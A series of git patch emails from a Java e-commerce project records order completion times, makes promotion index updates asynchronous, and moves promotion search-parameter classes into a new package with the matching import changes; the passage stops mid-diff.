=?UTF-8?q?=E6=94=B6=E8=B4=A7=E6=97=B6=EF=BC=8C=E6=9B=B4=E6=96=B0=E8=AE=A2?= =?UTF-8?q?=E5=8D=95=E5=AE=8C=E6=88=90=E6=97=B6=E9=97=B4=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/modules/order/order/serviceimpl/OrderServiceImpl.java | 1 + 1 file changed, 1 insertion(+) diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index 16b90c07..833fb8c2 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -489,6 +489,7 @@ public class OrderServiceImpl extends ServiceImpl implements //修改订单货物可以进行评价 orderItemService.update(new UpdateWrapper().eq(ORDER_SN_COLUMN, orderSn) .set("comment_status", CommentStatusEnum.UNFINISHED)); + this.update(new LambdaUpdateWrapper().eq(Order::getSn, orderSn).set(Order::getCompleteTime, new Date())); //发送订单状态改变消息 OrderMessage orderMessage = new OrderMessage(); orderMessage.setNewStatus(OrderStatusEnum.COMPLETED); From c65fd99b15fab5752486bd369e081f151280efd2 Mon Sep 17 00:00:00 2001 From: paulGao Date: Tue, 28 Dec 2021 19:59:52 +0800 Subject: [PATCH 115/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E6=9B=B4=E6=96=B0?= =?UTF-8?q?=E5=95=86=E5=93=81=E7=B4=A2=E5=BC=95=E4=BF=83=E9=94=80=E4=BF=A1?= =?UTF-8?q?=E6=81=AF=E6=97=B6=E4=B8=BA=E5=BC=82=E6=AD=A5=E6=89=A7=E8=A1=8C?= =?UTF-8?q?=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../src/main/java/cn/lili/listener/GoodsMessageListener.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index a18c3d03..214f8ff6 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -2,6 +2,7 @@ package cn.lili.listener; import cn.hutool.core.map.MapUtil; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.core.thread.ThreadUtil; import cn.hutool.core.util.ArrayUtil; import cn.hutool.core.util.ClassLoaderUtil; import cn.hutool.json.JSONObject; @@ -140,7 +141,7 @@ public class GoodsMessageListener implements RocketMQListener { } break; case UPDATE_GOODS_INDEX_PROMOTIONS: - this.updateGoodsIndexPromotions(new String(messageExt.getBody())); + ThreadUtil.execAsync(() -> this.updateGoodsIndexPromotions(new String(messageExt.getBody()))); break; case DELETE_GOODS_INDEX_PROMOTIONS: BasePromotions promotions = JSONUtil.toBean(new String(messageExt.getBody()), BasePromotions.class); From c3221a6fff4d0f837da7679ca98ee72559b19657 Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 29 Dec 2021 11:53:46 +0800 Subject: [PATCH 116/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E7=BB=93=E6=9E=84=E3=80=82=E4=BC=98=E5=8C=96=E4=BF=83=E9=94=80?= =?UTF-8?q?=E6=9B=B4=E6=96=B0=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../promotion/CouponBuyerController.java | 7 +- .../KanjiaGoodsActivityBuyerController.java | 10 +- .../promotion/PintuanBuyerController.java | 2 +- .../promotion/PointsGoodsBuyerController.java | 2 +- .../lili/event/impl/StockUpdateExecute.java | 2 +- .../lili/listener/GoodsMessageListener.java | 4 +- .../entity/dto/AfterSalePriceDetailDTO.java | 2 +- .../order/cart/entity/vo/CartSkuVO.java | 10 -- .../cart/render/impl/CheckDataRender.java | 2 +- .../order/cart/render/impl/CouponRender.java | 10 +- .../cart/render/impl/SkuPromotionRender.java | 4 +- .../order/cart/service/CartServiceImpl.java | 2 +- .../order/serviceimpl/OrderServiceImpl.java | 16 --- .../entity/{dto => dos}/BasePromotions.java | 2 +- .../modules/promotion/entity/dos/Coupon.java | 1 - .../promotion/entity/dos/CouponActivity.java | 1 - .../promotion/entity/dos/FullDiscount.java | 1 - .../entity/dos/KanjiaActivityGoods.java | 1 - .../modules/promotion/entity/dos/Pintuan.java | 1 - .../promotion/entity/dos/PointsGoods.java | 1 - .../modules/promotion/entity/dos/Seckill.java | 1 - .../search}/BasePromotionsSearchParams.java | 2 +- .../search}/CouponSearchParams.java | 10 +- .../search}/FullDiscountSearchParams.java | 2 +- .../{ => search}/KanJiaActivityLogQuery.java | 2 +- .../search}/KanjiaActivityGoodsParams.java | 3 +- .../dto/{ => search}/KanjiaActivityQuery.java | 4 +- .../search}/KanjiaActivitySearchParams.java | 3 +- .../dto/search/MemberCouponSearchParams.java | 104 ++++++++++++++++++ .../search}/PintuanSearchParams.java | 2 +- .../search}/PointsGoodsSearchParams.java | 2 +- .../search}/PromotionGoodsSearchParams.java | 2 +- .../search}/SeckillSearchParams.java | 2 +- .../service/AbstractPromotionsService.java | 7 +- .../promotion/service/CouponService.java | 2 +- .../service/KanjiaActivityGoodsService.java | 2 +- .../service/KanjiaActivityLogService.java | 2 +- .../service/KanjiaActivityService.java | 4 +- .../service/MemberCouponService.java | 14 ++- .../service/PromotionGoodsService.java | 2 +- .../service/SeckillApplyService.java | 2 +- .../AbstractPromotionsServiceImpl.java | 24 ++-- .../CouponActivityServiceImpl.java | 8 +- .../serviceimpl/CouponServiceImpl.java | 13 ++- .../serviceimpl/FullDiscountServiceImpl.java | 10 +- .../KanjiaActivityGoodsServiceImpl.java | 2 +- .../KanjiaActivityLogServiceImpl.java | 2 +- .../KanjiaActivityServiceImpl.java | 4 +- .../serviceimpl/MemberCouponServiceImpl.java | 22 ++-- .../serviceimpl/PintuanServiceImpl.java | 8 +- .../serviceimpl/PointsGoodsServiceImpl.java | 10 +- .../PromotionGoodsServiceImpl.java | 4 +- .../serviceimpl/PromotionServiceImpl.java | 6 +- .../serviceimpl/SeckillApplyServiceImpl.java | 8 +- .../serviceimpl/SeckillServiceImpl.java | 2 +- .../promotion/tools/PromotionTools.java | 2 +- .../search/service/EsGoodsIndexService.java | 2 +- .../serviceimpl/EsGoodsIndexServiceImpl.java | 2 +- .../promotion/CouponManagerController.java | 2 +- .../FullDiscountManagerController.java | 2 +- .../KanJiaActivityGoodsManagerController.java | 2 +- .../promotion/PintuanManagerController.java | 4 +- .../PointsGoodsManagerController.java | 2 +- .../promotion/PromotionManagerController.java | 2 +- .../promotion/SeckillManagerController.java | 2 +- .../cn/lili/test/elasticsearch/EsTest.java | 12 -- .../cn/lili/test/promotion/CouponTest.java | 2 +- .../lili/test/promotion/FullDiscountTest.java | 2 +- .../test/promotion/PromotionPriceTest.java | 2 +- .../promotion/CouponStoreController.java | 2 +- .../FullDiscountStoreController.java | 2 +- .../promotion/PintuanStoreController.java | 4 +- .../promotion/SeckillStoreController.java | 2 +- 73 files changed, 255 insertions(+), 173 deletions(-) rename framework/src/main/java/cn/lili/modules/promotion/entity/{dto => dos}/BasePromotions.java (98%) rename framework/src/main/java/cn/lili/modules/promotion/entity/{vos => dto/search}/BasePromotionsSearchParams.java (97%) rename framework/src/main/java/cn/lili/modules/promotion/entity/{vos => dto/search}/CouponSearchParams.java (93%) rename framework/src/main/java/cn/lili/modules/promotion/entity/{vos => dto/search}/FullDiscountSearchParams.java (96%) rename framework/src/main/java/cn/lili/modules/promotion/entity/dto/{ => search}/KanJiaActivityLogQuery.java (94%) rename framework/src/main/java/cn/lili/modules/promotion/entity/{vos/kanjia => dto/search}/KanjiaActivityGoodsParams.java (91%) rename framework/src/main/java/cn/lili/modules/promotion/entity/dto/{ => search}/KanjiaActivityQuery.java (93%) rename framework/src/main/java/cn/lili/modules/promotion/entity/{vos/kanjia => dto/search}/KanjiaActivitySearchParams.java (92%) create mode 100644 framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java rename framework/src/main/java/cn/lili/modules/promotion/entity/{vos => dto/search}/PintuanSearchParams.java (95%) rename framework/src/main/java/cn/lili/modules/promotion/entity/{vos => dto/search}/PointsGoodsSearchParams.java (96%) rename framework/src/main/java/cn/lili/modules/promotion/entity/{vos => dto/search}/PromotionGoodsSearchParams.java (97%) rename framework/src/main/java/cn/lili/modules/promotion/entity/{vos => dto/search}/SeckillSearchParams.java (97%) diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java index 9d213b55..4d0dfed4 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java @@ -7,9 +7,10 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.MemberCoupon; +import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams; +import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams; import cn.lili.modules.promotion.entity.enums.CouponGetEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.MemberCouponService; @@ -61,7 +62,7 @@ public class CouponBuyerController { @ApiOperation(value = "获取当前会员的优惠券列表") @GetMapping("/getCoupons") - public ResultMessage> getCoupons(CouponSearchParams param, PageVO pageVo) { + public ResultMessage> getCoupons(MemberCouponSearchParams param, PageVO pageVo) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); param.setMemberId(currentUser.getId()); return ResultUtil.data(memberCouponService.getMemberCoupons(param, pageVo)); @@ -69,7 +70,7 @@ public class CouponBuyerController { @ApiOperation(value = "获取当前会员的对于当前商品可使用的优惠券列表") @GetMapping("/canUse") - public ResultMessage> getCouponsByCanUse(CouponSearchParams param, Double totalPrice, PageVO pageVo) { + public ResultMessage> getCouponsByCanUse(MemberCouponSearchParams param, Double totalPrice, PageVO pageVo) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); param.setMemberId(currentUser.getId()); return ResultUtil.data(memberCouponService.getMemberCouponsByCanUse(param, totalPrice, pageVo)); diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java index 51b2dab2..6f6ab3ef 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java @@ -7,10 +7,14 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; -import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery; +import cn.lili.modules.promotion.entity.dto.search.KanJiaActivityLogQuery; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityQuery; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.kanjia.*; +import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO; +import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO; +import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.KanjiaActivityLogService; import cn.lili.modules.promotion.service.KanjiaActivityService; diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java index 84fe7c16..62e928c8 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java @@ -5,10 +5,10 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PintuanMemberVO; import cn.lili.modules.promotion.entity.vos.PintuanShareVO; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.PintuanService; import cn.lili.modules.promotion.service.PromotionGoodsService; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java index 4dc38065..08932f1f 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java @@ -5,8 +5,8 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.dos.PointsGoodsCategory; +import cn.lili.modules.promotion.entity.dto.search.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.service.PointsGoodsCategoryService; import cn.lili.modules.promotion.service.PointsGoodsService; diff --git a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java index 39fdf01a..9fd89c58 100644 --- a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java @@ -14,8 +14,8 @@ import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.PointsGoodsService; diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 214f8ff6..790b3b9d 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -23,10 +23,10 @@ import cn.lili.modules.member.entity.dos.FootPrint; import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.member.service.FootprintService; import cn.lili.modules.member.service.GoodsCollectionService; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.PromotionService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java index 1f126b9e..f18d6bd5 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java @@ -1,7 +1,7 @@ package cn.lili.modules.order.aftersale.entity.dto; -import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import io.swagger.annotations.ApiModelProperty; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java index cd986b28..59058dde 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java @@ -3,15 +3,12 @@ package cn.lili.modules.order.cart.entity.vo; import cn.lili.modules.distribution.entity.dos.DistributionGoods; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.NoArgsConstructor; import java.io.Serializable; -import java.util.Date; import java.util.HashMap; -import java.util.List; import java.util.Map; /** @@ -81,12 +78,6 @@ public class CartSkuVO extends CartBase implements Serializable { @ApiModelProperty(value = "积分购买 积分数量") private Long point; - @ApiModelProperty(value = "可参与的单品活动") - private List promotions; - - @ApiModelProperty(value = "参与促销活动更新时间(一天更新一次) 例如时间为:2020-01-01 00:00:01") - private Date updatePromotionTime; - @ApiModelProperty("商品促销活动集合,key 为 促销活动类型,value 为 促销活动实体信息 ") private Map promotionMap; @@ -104,7 +95,6 @@ public class CartSkuVO extends CartBase implements Serializable { this.checked = true; this.invalid = false; //默认时间为0,让系统为此商品更新缓存 - this.updatePromotionTime = new Date(0); this.errorMessage = ""; this.isShip = true; this.purchasePrice = goodsSku.getPromotionFlag() != null && goodsSku.getPromotionFlag() ? goodsSku.getPromotionPrice() : goodsSku.getPrice(); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index 4c40767e..f217efd5 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -20,10 +20,10 @@ import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.service.OrderService; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PointsGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.vos.CouponVO; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java index ef5f0e0c..0157b7bc 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java @@ -2,6 +2,7 @@ package cn.lili.modules.order.cart.render.impl; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.PromotionTypeEnum; +import cn.lili.common.security.context.UserContext; import cn.lili.common.utils.CurrencyUtil; import cn.lili.common.utils.StringUtils; import cn.lili.modules.order.cart.entity.dto.MemberCouponDTO; @@ -12,8 +13,11 @@ import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.cart.render.util.PromotionPriceUtil; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.promotion.entity.dos.MemberCoupon; +import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams; import cn.lili.modules.promotion.entity.enums.CouponTypeEnum; +import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.MemberCouponVO; import cn.lili.modules.promotion.service.MemberCouponService; import org.springframework.beans.factory.annotation.Autowired; @@ -60,7 +64,11 @@ public class CouponRender implements CartRenderStep { * @param tradeDTO 交易dto */ private void renderCouponRule(TradeDTO tradeDTO) { - List memberCouponList = memberCouponService.getMemberCoupons(); + MemberCouponSearchParams searchParams = new MemberCouponSearchParams(); + searchParams.setMemberId(UserContext.getCurrentUser().getId()); + searchParams.setMemberCouponStatus(MemberCouponStatusEnum.NEW.name()); + searchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + List memberCouponList = memberCouponService.getMemberCoupons(searchParams); if (!memberCouponList.isEmpty()) { this.checkMemberExistCoupon(tradeDTO, memberCouponList); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java index 6ff74e3c..613de67c 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java @@ -13,10 +13,10 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; -import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.dos.BasePromotions; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.vos.PromotionSkuVO; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import cn.lili.modules.promotion.service.KanjiaActivityService; import org.springframework.beans.factory.annotation.Autowired; diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index 6c339a65..cd0334ea 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -34,11 +34,11 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.MemberCoupon; import cn.lili.modules.promotion.entity.dos.Pintuan; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.modules.promotion.service.PointsGoodsService; diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index 833fb8c2..67fe15e4 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -885,22 +885,6 @@ public class OrderServiceImpl extends ServiceImpl implements } } - /** - * 检查交易信息 - * - * @param order 订单 - */ - private void checkOrder(Order order) { - //订单类型为拼团订单,检测购买数量是否超过了限购数量 - if (OrderPromotionTypeEnum.PINTUAN.name().equals(order.getOrderType())) { - Pintuan pintuan = pintuanService.getById(order.getPromotionId()); - Integer limitNum = pintuan.getLimitNum(); - if (limitNum != 0 && order.getGoodsNum() > limitNum) { - throw new ServiceException(ResultCode.PINTUAN_LIMIT_NUM_ERROR); - } - } - } - /** * 普通商品订单确认 * 修改订单状态为待发货 diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/BasePromotions.java similarity index 98% rename from framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dos/BasePromotions.java index 512dfe24..0ec44505 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/BasePromotions.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.dto; +package cn.lili.modules.promotion.entity.dos; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java index c7948947..0a8f172d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponVO; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java index 5db90bfc..fdc2615e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.CouponActivitySendTypeEnum; import cn.lili.modules.promotion.entity.enums.CouponActivityTypeEnum; import com.baomidou.mybatisplus.annotation.TableName; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java index e7ea4388..e6e18ed7 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java index acf01efe..8f6626ed 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java index 4e4a485b..a7b75ff5 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java index c3d692ba..8239ac39 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java index 54c0230d..75b21f8c 100644 --- 